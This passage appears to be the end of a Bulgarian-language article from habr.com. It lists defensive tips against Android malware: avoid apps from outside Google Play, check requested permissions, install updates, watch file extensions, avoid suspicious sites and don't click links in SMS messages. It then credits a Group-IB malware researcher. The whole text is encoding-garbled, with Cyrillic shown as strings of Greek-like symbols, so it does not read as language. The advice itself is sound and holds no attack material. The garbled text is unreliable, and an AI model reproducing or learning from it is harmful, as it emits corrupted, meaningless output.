- Π½Π΅ ΠΈΠ½ΡΡΠ°Π»ΠΈΡΠ°ΠΉΡΠ΅ ΠΏΡΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΡ Π·Π° ΠΌΠΎΠ±ΠΈΠ»Π½ΠΎ ΡΡΡΡΠΎΠΉΡΡΠ²ΠΎ Ρ Android OS ΠΎΡ ΠΈΠ·ΡΠΎΡΠ½ΠΈΡΠΈ, ΡΠ°Π·Π»ΠΈΡΠ½ΠΈ ΠΎΡ Google Play, ΠΎΠ±ΡΡΠ½Π΅ΡΠ΅ ΡΠΏΠ΅ΡΠΈΠ°Π»Π½ΠΎ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅ Π½Π° ΠΈΡΠΊΠ°Π½ΠΈΡΠ΅ ΠΎΡ ΠΏΡΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ΡΠΎ ΠΏΡΠ°Π²Π°;
- ΡΠ΅Π΄ΠΎΠ²Π½ΠΎ ΠΈΠ½ΡΡΠ°Π»ΠΈΡΠ°ΠΉΡΠ΅ Π°ΠΊΡΡΠ°Π»ΠΈΠ·Π°ΡΠΈΠΈ Π½Π° Android OS;
- ΠΎΠ±ΡΡΠ½Π΅ΡΠ΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅ Π½Π° ΡΠ°Π·ΡΠΈΡΠ΅Π½ΠΈΡΡΠ° Π½Π° ΠΈΠ·ΡΠ΅Π³Π»Π΅Π½ΠΈΡΠ΅ ΡΠ°ΠΉΠ»ΠΎΠ²Π΅;
- Π½Π΅ ΠΏΠΎΡΠ΅ΡΠ°Π²Π°ΠΉΡΠ΅ ΠΏΠΎΠ΄ΠΎΠ·ΡΠΈΡΠ΅Π»Π½ΠΈ ΡΠ΅ΡΡΡΡΠΈ;
- ΠΠ΅ ΠΊΠ»ΠΈΠΊΠ²Π°ΠΉΡΠ΅ Π²ΡΡΡ Ρ Π²ΡΡΠ·ΠΊΠΈ, ΠΏΠΎΠ»ΡΡΠ΅Π½ΠΈ Π² SMS ΡΡΠΎΠ±ΡΠ΅Π½ΠΈΡ.
Π ΡΠΎΠ»ΠΈΡΠ΅ Π‘Π΅ΠΌΡΠΎΠ½ Π ΠΎΠ³Π°ΡΠ΅Π²Π°, ΠΌΠ»Π°Π΄ΡΠΈ ΡΠΏΠ΅ΡΠΈΠ°Π»ΠΈΡΡ ΠΏΠΎ ΠΈΠ·ΡΠ»Π΅Π΄Π²Π°Π½Π΅ Π½Π° Π·Π»ΠΎΠ²ΡΠ΅Π΄Π΅Π½ ΡΠΎΡΡΡΠ΅Ρ Π² ΠΠ°Π±ΠΎΡΠ°ΡΠΎΡΠΈΡΡΠ° Π·Π° ΠΊΠΎΠΌΠΏΡΡΡΡΠ½Π° ΠΊΡΠΈΠΌΠΈΠ½Π°Π»ΠΈΡΡΠΈΠΊΠ° Π½Π° Group-IB.
ΠΠ·ΡΠΎΡΠ½ΠΈΠΊ: www.habr.com